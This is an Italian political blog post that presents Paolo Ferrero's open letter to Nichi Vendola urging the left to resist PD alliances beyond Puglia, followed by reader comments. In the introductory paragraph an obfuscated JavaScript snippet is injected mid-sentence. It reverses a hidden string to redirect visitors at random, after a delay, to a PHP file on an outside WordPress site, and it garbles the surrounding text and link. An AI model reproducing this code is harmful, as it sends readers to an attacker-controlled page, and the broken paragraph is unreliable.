"Subalterna, manovriera, ricattata". Ecco la sinistra che si allea con il Pd (tranne in Puglia)

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Pubblichiamo questa lettera aperta scritta da Paolo Ferrero, , il sostegno ai CIE per i migranti e comunque avallando una politica sistemica al liberismo di cui ben conosciamo i guasti. Quello stesso Rossi che Francuccio Gesualdi non esita a definire $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andidato-per-la-presidenza-della-regione-toscana-del-pd/” target=”_blank”>sviluppista. Un esempio? Leggete come l’assessore regionale Eugenio Baronti descrive il clima in giunta a proposito della privatizzazione dell’acqua in Toscana.

Ecco la lettera aperta. Come aperta resta la domanda: ma colui o colei che vuol votare coerentemente ai propri principi e valori di sinistra, per chi mai potrà votare in Toscana? Sarà costretto a starsene a casa? Ci sono alternative? Ha forza l’esperimento di Per un’altra Toscana?

Buona lettura

di Paolo Ferrero

Caro Nichi, colgo l’occasione di questo comune giorno di festa per porti una domanda: perché la positiva dinamica che abbiamo messo in moto in Puglia non può essere ripetuta anche nelle altre parti d’Italia?

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Il logo della vecchia sinistra arcobaleno

Nella tua regione, di fronte all’arroganza del gruppo dirigente del Pd abbiamo fatto fronte comune. Prima rifiutando la proposta che tu non venissi candidato e poi con il comune sostegno alla tua candidatura nelle primarie. Questo fronte comune ha vinto e il tuo splendido risultato ne è la testimonianza. In Puglia ha cioè funzionato nei fatti una coalizione di sinistra di alternativa, in grado di tenere un profilo politico autonomo dal Pd, che è riuscito, come riuscimmo nel 2005, a vincere le primarie.

Una coalizione di sinistra di alternativa che ha aperto contraddizioni nel Pd proprio in quanto ha saputo agire con una soggettività propria, non subalterna o manovriera. Si è fatta una battaglia limpida, senza sotterfugi, sia sul piano politico che su quello dei contenuti e la chiarezza ha pagato.

Del resto quando ci siamo visti e sentiti nelle settimane scorse proprio questo punto avevamo messo al centro. Di fronte ad un Pd che è caratterizzato da una deriva centrista, con tratti di vera e propria subalternità all’Udc, abbiamo convenuto sulla necessità di coordinare le forze della sinistra al fine di incidere positivamente nella discussione in tutte le regioni. Nella reciproca autonomia avevamo individuato la necessità di unire gli sforzi, di fare una battaglia comune, di evitare che il Pd potesse metterci gli uni contro gli altri nella ridefinizione moderata del suo asse politico.

In tutta franchezza , proprio questa battaglia comune a me pare sia venuta meno. Mentre in Puglia abbiamo agito concordemente, questo non avviene nelle altre regioni d’Italia.

Non ho lo spazio per fare una disanima complessiva per cui mi soffermerò solo sul caso della Lombardia, che a me pare emblematico. In questa regione Sinistra e Libertà ha deciso di sostenere Penati a candidato a Presidente proprio mentre questo ha posto un veto sulla presenza della Federazione della Sinistra nella sua coalizione. Qui ci troviamo in una situazione incredibile: il candidato del Pd decide di porre una discriminante anticomunista per far parte della sua coalizione e si caratterizza su contenuti che sono grosso modo l’opposto dei contenuti che tu hai sostenuto nelle primarie pugliesi. Sinistra e Libertà, invece di fare battaglia politica e di rompere con Penati, decide di partecipare alla sua coalizione. Mentre in Puglia la sinistra, insieme, ha ottenuto un risultato straordinario, in Lombardia Sinistra e Libertà si fa strumento del tentativo di distruzione della sinistra da parte di Penati.

Caro Nichi ti chiedo quindi di battere un colpo. Se i ricatti non si possono accettare in Puglia, non debbono essere accettati nemmeno in Lombardia. Se è possibile lavorare per l’alternativa in Puglia, deve essere possibile farlo anche altrove. La primavera non la si costruisce in una regione sola.

[le lettera è stata pubblicata dal manifesto]

0 Comments

  1. mattia

    ferrero che con il capello elemosina una poltroncina in lombardia.
    intanto la maggiorparte dell’elettorato comunista non vuole più allenaza col pd

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  2. gloria

    la lettera di Ferrero non fa una piega, certo. Ma mi sembra semplicistico fare paragoni. Non bisogna dimenticare che Vendola dalla sua parte ha 5 anni di buon governo ed è persona di grande carisma. Non conosco la situazione in Lombardia ma so che la politica è fatta dalle persone e che un accordo ai vertici tra Ferrero e Vendola non sarà bastato a riproporre la stessa dinamica in quest’altra regione. Mi sembra un po’ ideologico da parte di Ferrero parlare adesso di unità quando è stato anche lui protagonista delle varie scissioni e separazioni della sinistra… Si può cercare di cambiare tendenza, questo si, ma senza dare sempre la “colpa” agli altri e sentirsi duri e puri, quando siamo tutti nella stessa barca.

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  3. Matteo

    I rapporti di forza sono completamente diversi nelle due regioni quindi adottare una linea unica sarebbe insensato. In effetti fa specie questa geografia variabile delle alleanze, ma va detto che non si è ancora capito le ragioni per cui la sx vera non abbia fatto una lista unica alle europee…

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  4. tiziano

    Quella di ferrero si chiama schizofrenia.
    In Toscana col PD, altrove non è possibile…
    E’ tristissimo vedere un movimento che si pretende erede delle lotte di oltre un secolo di lavoratori evaporare alla ricerca di poltroncine e strapuntini.
    Il mondo avrebbe bisogno di una sinistra seria, non di contorcimenti da astinenza di sedie.

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